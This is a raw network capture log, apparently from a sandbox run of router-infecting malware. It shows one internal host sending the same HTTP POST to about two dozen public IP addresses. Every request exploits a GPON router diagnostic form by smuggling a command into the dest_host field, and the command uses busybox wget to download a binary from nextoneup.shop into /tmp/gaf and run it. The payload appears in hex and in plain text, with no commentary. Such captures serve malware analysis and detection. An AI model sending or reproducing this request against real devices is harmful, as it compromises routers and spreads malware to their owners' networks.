Apr 14, 2024 04:01:06.132939100 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1639	192.168.2.13	33416	178.89.71.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132946968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1640	192.168.2.13	54370	5.131.145.83	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132958889 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1641	192.168.2.13	47342	117.139.101.233	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132965088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1642	192.168.2.13	38400	42.110.149.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.132989883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1643	192.168.2.13	37284	212.234.2.152	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133019924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1644	192.168.2.13	53674	79.223.207.255	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133063078 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1645	192.168.2.13	52114	2.94.96.253	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133080959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1646	192.168.2.13	56464	2.83.116.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133080959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1647	192.168.2.13	57086	37.75.51.164	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133120060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1648	192.168.2.13	42666	178.102.185.206	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133121014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1649	192.168.2.13	49774	94.208.210.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133141041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1650	192.168.2.13	59538	109.224.149.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133157969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1651	192.168.2.13	33982	5.183.221.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133177996 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1652	192.168.2.13	39542	79.118.75.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133198023 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1653	192.168.2.13	52134	37.236.118.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133223057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1654	192.168.2.13	49418	118.171.235.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133233070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1655	192.168.2.13	35522	79.35.68.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133265018 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1656	192.168.2.13	39172	109.223.187.29	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133272886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1657	192.168.2.13	59972	5.4.200.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133306980 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1658	192.168.2.13	48214	118.52.237.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133308887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1659	192.168.2.13	37344	42.138.60.77	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133336067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1660	192.168.2.13	60732	118.241.111.111	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133352041 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1661	192.168.2.13	52088	109.234.64.155	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133359909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1662	192.168.2.13	34100	94.174.218.216	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133380890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1663	192.168.2.13	43892	5.120.143.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.133398056 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

